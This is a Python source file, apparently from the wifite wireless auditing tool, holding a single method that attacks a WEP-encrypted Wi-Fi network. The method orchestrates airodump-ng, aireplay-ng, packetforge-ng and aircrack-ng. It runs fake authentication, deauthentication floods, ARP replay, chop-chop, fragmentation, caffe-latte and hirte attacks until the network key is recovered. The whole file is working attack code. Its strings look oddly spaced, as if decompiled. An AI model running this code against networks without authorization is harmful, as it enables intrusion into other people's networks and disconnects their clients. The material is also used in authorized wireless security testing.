'Attacks WEP-encrypted network.
Returns True if key was successfully found, False otherwise.'

def attack_wep(self):

    if (self.RUN_CONFIG.WEP_TIMEOUT <= 0):
        self.RUN_CONFIG.WEP_TIMEOUT = (-1)
    total_attacks = 6
    if (not self.RUN_CONFIG.WEP_ARP_REPLAY):
        total_attacks -= 1
    if (not self.RUN_CONFIG.WEP_CHOPCHOP):
        total_attacks -= 1
    if (not self.RUN_CONFIG.WEP_FRAGMENT):
        total_attacks -= 1
    if (not self.RUN_CONFIG.WEP_CAFFELATTE):
        total_attacks -= 1
    if (not self.RUN_CONFIG.WEP_P0841):
        total_attacks -= 1
    if (not self.RUN_CONFIG.WEP_HIRTE):
        total_attacks -= 1
    if (total_attacks <= 0):
        print (((R + '    [!]') + O) + '    unable    to    initiate    WEP    attacks:    no    attacks    are    selected!')
        return False
    remaining_attacks = total_attacks
    print ('    %s    preparing    attack    "%s"    (%s)' % (((GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)) + W), ((G + self.target.ssid) + W), ((G + self.target.bssid) + W)))
    remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
    remove_file((self.RUN_CONFIG.temp + 'wepkey.txt'))
    cmd_airodump = ['airodump-ng', '-w', (self.RUN_CONFIG.temp + 'wep'), '-c', self.target.channel, '--write-interval', '1', '--bssid', self.target.bssid, self.iface]
    proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
    proc_aireplay = None
    proc_aircrack = None
    successful = False
    started_cracking = False
    client_mac = ''
    total_ivs = 0
    ivs = 0
    last_ivs = 0
    for attack_num in xrange(0, 6):
        if ((attack_num == 0) and (not self.RUN_CONFIG.WEP_ARP_REPLAY)):
            continue
        elif ((attack_num == 1) and (not self.RUN_CONFIG.WEP_CHOPCHOP)):
            continue
        elif ((attack_num == 2) and (not self.RUN_CONFIG.WEP_FRAGMENT)):
            continue
        elif ((attack_num == 3) and (not self.RUN_CONFIG.WEP_CAFFELATTE)):
            continue
        elif ((attack_num == 4) and (not self.RUN_CONFIG.WEP_P0841)):
            continue
        elif ((attack_num == 5) and (not self.RUN_CONFIG.WEP_HIRTE)):
            continue
        remaining_attacks -= 1
        try:
            if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)):
                client_mac = self.RUN_CONFIG.THIS_MAC
            elif (not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH):
                send_interrupt(proc_aireplay)
                send_interrupt(proc_airodump)
                print (((R + '    [!]') + O) + '    unable    to    fake-authenticate    with    target')
                print (((R + '    [!]') + O) + '    to    skip    this    speed    bump,    select    "ignore-fake-auth"    at    command-line')
                return False
            remove_file((self.RUN_CONFIG.temp + 'arp.cap'))
            cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac)
            if (cmd == ''):
                continue
            if (proc_aireplay != None):
                send_interrupt(proc_aireplay)
            proc_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE)
            print ('\r    %s    attacking    "%s"    via' % (((GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)) + W), ((G + self.target.ssid) + W))),
            if (attack_num == 0):
                print (G + 'arp-replay'),
            elif (attack_num == 1):
                print (G + 'chop-chop'),
            elif (attack_num == 2):
                print (G + 'fragmentation'),
            elif (attack_num == 3):
                print (G + 'caffe-latte'),
            elif (attack_num == 4):
                print (G + 'p0841'),
            elif (attack_num == 5):
                print (G + 'hirte'),
            print ('attack' + W)
            print ('    %s    captured    %s%d%s    ivs    @    %s    iv/sec' % (((GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)) + W), G, total_ivs, W, ((G + '0') + W))),
            stdout.flush()
            time.sleep(1)
            if (attack_num == 1):
                self.wep_send_deauths(self.iface, self.target, self.clients)
            last_deauth = time.time()
            replaying = False
            time_started = time.time()
            while ((time.time() - time_started) < self.RUN_CONFIG.WEP_TIMEOUT):
                if (self.RUN_CONFIG.WEP_TIMEOUT == (-1)):
                    current_hms = '[endless]'
                else:
                    current_hms = sec_to_hms((self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)))
                print ('\r    %s\r' % ((GR + current_hms) + W)),
                stdout.flush()
                time.sleep(1)
                csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv((self.RUN_CONFIG.temp + 'wep-01.csv'))[0]
                if (len(csv) > 0):
                    ivs = int(csv[0].data)
                    print '\r                                                                                                                                                                                                            ',
                    print ('\r    %s    captured    %s%d%s    ivs    @    %s%d%s    iv/sec' % (((GR + current_hms) + W), G, (total_ivs + ivs), W, G, (ivs - last_ivs), W)),
                    if (((ivs - last_ivs) == 0) and ((time.time() - last_deauth) > 30)):
                        print ('\r    %s    deauthing    to    generate    packets...' % ((GR + current_hms) + W)),
                        self.wep_send_deauths(self.iface, self.target, self.clients)
                        print 'done\r',
                        last_deauth = time.time()
                    last_ivs = ivs
                    stdout.flush()
                    if (((total_ivs + ivs) >= self.RUN_CONFIG.WEP_CRACK_AT_IVS) and (not started_cracking)):
                        cmd = ['aircrack-ng', '-a', '1', '-l', (self.RUN_CONFIG.temp + 'wepkey.txt')]
                        for f in os.listdir(self.RUN_CONFIG.temp):
                            if (f.startswith('wep-') and f.endswith('.cap')):
                                cmd.append((self.RUN_CONFIG.temp + f))
                        print ('\r    %s    started    %s    (%sover    %d    ivs%s)' % (((GR + current_hms) + W), ((G + 'cracking') + W), G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W))
                        proc_aircrack = Popen(cmd, stdout=DN, stderr=DN)
                        started_cracking = True
                if os.path.exists((self.RUN_CONFIG.temp + 'wepkey.txt')):
                    infile = open((self.RUN_CONFIG.temp + 'wepkey.txt'), 'r')
                    key = infile.read().replace('\n', '')
                    infile.close()
                    print ('\n\n    %s    %s    %s    (%s)!    key:    "%s"' % (current_hms, (G + 'cracked'), (self.target.ssid + W), ((G + self.target.bssid) + W), ((C + key) + W)))
                    self.RUN_CONFIG.WEP_FINDINGS.append(('cracked    %s    (%s),    key:    "%s"' % (self.target.ssid, self.target.bssid, key)))
                    self.RUN_CONFIG.WEP_FINDINGS.append('')
                    t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
                    t.key = key
                    self.RUN_CONFIG.save_cracked(t)
                    send_interrupt(proc_airodump)
                    send_interrupt(proc_aireplay)
                    try:
                        os.kill(proc_aireplay, SIGTERM)
                    except:
                        pass
                    send_interrupt(proc_aircrack)
                    time.sleep(0.5)
                    remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
                    remove_file((self.RUN_CONFIG.temp + 'wepkey.txt'))
                    return True
                if (proc_aireplay.poll() == None):
                    if replaying:
                        print (((',    ' + G) + 'replaying                                    \r') + W),
                    elif ((attack_num == 1) or (attack_num == 2)):
                        print ',    waiting    for    packet                \r',
                    stdout.flush()
                    continue
                if ((attack_num != 1) and (attack_num != 2)):
                    print ('\r    %s    attack    failed:    %saireplay-ng    exited    unexpectedly%s' % ((R + current_hms), O, W))
                    (sout, serr) = proc_aireplay.communicate()
                    break
                xor_file = ''
                for filename in sorted(os.listdir(self.RUN_CONFIG.temp)):
                    if filename.lower().endswith('.xor'):
                        xor_file = (self.RUN_CONFIG.temp + filename)
                if (xor_file == ''):
                    print ('\r    %s    attack    failed:    %sunable    to    generate    keystream                                %s' % ((R + current_hms), O, W))
                    break
                remove_file((self.RUN_CONFIG.temp + 'arp.cap'))
                cmd = ['packetforge-ng', '-0', '-a', self.target.bssid, '-h', client_mac, '-k', '192.168.1.2', '-l', '192.168.1.100', '-y', xor_file, '-w', (self.RUN_CONFIG.temp + 'arp.cap'), self.iface]
                proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN)
                proc_pforge.wait()
                forged_packet = proc_pforge.communicate()[0]
                remove_file(xor_file)
                if (forged_packet == None):
                    result = ''
                forged_packet = forged_packet.strip()
                if (not forged_packet.find('Wrote    packet')):
                    print ('\r    %s    attack    failed:    unable    to    forget    ARP    packet                                                            %s' % (((R + current_hms) + O), W))
                    break
                cmd = ['aireplay-ng', '--ignore-negative-one', '--arpreplay', '-b', self.target.bssid, '-r', (self.RUN_CONFIG.temp + 'arp.cap'), '-F', self.iface]
                proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
                print ('\r    %s    forged    %s!    %s...                                    ' % (((GR + current_hms) + W), ((G + 'arp    packet') + W), ((G + 'replaying') + W)))
                replaying = True
            while started_cracking:
                time.sleep(1)
                csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv((self.RUN_CONFIG.temp + 'wep-01.csv'))[0]
                if (len(csv) > 0):
                    ivs = int(csv[0].data)
                    print (((GR + '    [endless]') + W) + ('    captured    %s%d%s    ivs,    iv/sec:    %s%d%s        \r' % (G, (total_ivs + ivs), W, G, (ivs - last_ivs), W))),
                    last_ivs = ivs
                    stdout.flush()
                if os.path.exists((self.RUN_CONFIG.temp + 'wepkey.txt')):
                    infile = open((self.RUN_CONFIG.temp + 'wepkey.txt'), 'r')
                    key = infile.read().replace('\n', '')
                    infile.close()
                    print (GR + ('\n\n    [endless]    %s    %s    (%s)!    key:    "%s"' % ((G + 'cracked'), (self.target.ssid + W), ((G + self.target.bssid) + W), ((C + key) + W))))
                    self.RUN_CONFIG.WEP_FINDINGS.append(('cracked    %s    (%s),    key:    "%s"' % (self.target.ssid, self.target.bssid, key)))
                    self.RUN_CONFIG.WEP_FINDINGS.append('')
                    t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
                    t.key = key
                    self.RUN_CONFIG.save_cracked(t)
                    send_interrupt(proc_airodump)
                    send_interrupt(proc_aireplay)
                    send_interrupt(proc_aircrack)
                    remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
                    remove_file((self.RUN_CONFIG.temp + 'wepkey.txt'))
                    return True
        except KeyboardInterrupt:
            print ((((R + '\n    (^C)') + O) + '    WEP    attack    interrupted\n') + W)
            send_interrupt(proc_airodump)
            if (proc_aireplay != None):
                send_interrupt(proc_aireplay)
            if (proc_aircrack != None):
                send_interrupt(proc_aircrack)
            options = []
            selections = []
            if (remaining_attacks > 0):
                options.append(('%scontinue%s    attacking    this    target    (%d    remaining    WEP    attack%s)' % (G, W, remaining_attacks, ('s' if (remaining_attacks != 1) else ''))))
                selections.append(((G + 'c') + W))
            if (self.RUN_CONFIG.TARGETS_REMAINING > 0):
                options.append(('%sskip%s                    this    target,    move    onto    next    target    (%d    remaining    target%s)' % (O, W, self.RUN_CONFIG.TARGETS_REMAINING, ('s' if (self.RUN_CONFIG.TARGETS_REMAINING != 1) else ''))))
                selections.append(((O + 's') + W))
            options.append(('%sexit%s                    the    program    completely' % (R, W)))
            selections.append(((R + 'e') + W))
            if (len(options) > 1):
                print (((GR + '    [+]') + W) + '    what    do    you    want    to    do?')
                response = ''
                while ((response != 'c') and (response != 's') and (response != 'e')):
                    for option in options:
                        print ('                    %s' % option)
                    response = raw_input((((GR + '    [+]') + W) + ('    please    make    a    selection    (%s):    ' % ',    '.join(selections)))).lower()[0]
            else:
                response = 'e'
            if ((response == 'e') or (response == 's')):
                if self.RUN_CONFIG.WEP_SAVE:
                    save_as = ((((re.sub('[^a-zA-Z0-9]', '', self.target.ssid) + '_') + self.target.bssid.replace(':', '-')) + '.cap') + W)
                    try:
                        rename((self.RUN_CONFIG.temp + 'wep-01.cap'), save_as)
                    except OSError:
                        print ((((R + '    [!]') + O) + '    unable    to    save    capture    file!') + W)
                    else:
                        print ((((((((((GR + '    [+]') + W) + '    packet    capture    ') + G) + 'saved') + W) + '    to    ') + G) + save_as) + W)
                for filename in os.listdir('.'):
                    if (filename.startswith('replay_arp-') and filename.endswith('.cap')):
                        remove_file(filename)
                remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
                remove_file((self.RUN_CONFIG.temp + 'wepkey.txt'))
                print ''
                if (response == 'e'):
                    self.RUN_CONFIG.exit_gracefully(0)
                return
            elif (response == 'c'):
                i = 2
                while os.path.exists((((self.RUN_CONFIG.temp + 'wep-') + str(i)) + '.cap')):
                    i += 1
                copy((self.RUN_CONFIG.temp + 'wep-01.cap'), (((self.RUN_CONFIG.temp + 'wep-') + str(i)) + '.cap'))
                remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
                proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
                started_cracking = False
                total_ivs += ivs
                ivs = 0
                last_ivs = 0
                pass
    if successful:
        print ((((((GR + '\n    [0:00:00]') + W) + '    attack    complete:    ') + G) + 'success!') + W)
    else:
        print ((((((GR + '\n    [0:00:00]') + W) + '    attack    complete:    ') + R) + 'failure') + W)
    send_interrupt(proc_airodump)
    if (proc_aireplay != None):
        send_interrupt(proc_aireplay)
    for filename in os.listdir('.'):
        if (filename.startswith('replay_arp-') and filename.endswith('.cap')):
            remove_file(filename)
    remove_airodump_files((self.RUN_CONFIG.temp + 'wep'))
    remove_file((self.RUN_CONFIG.temp + 'wepkey.txt'))
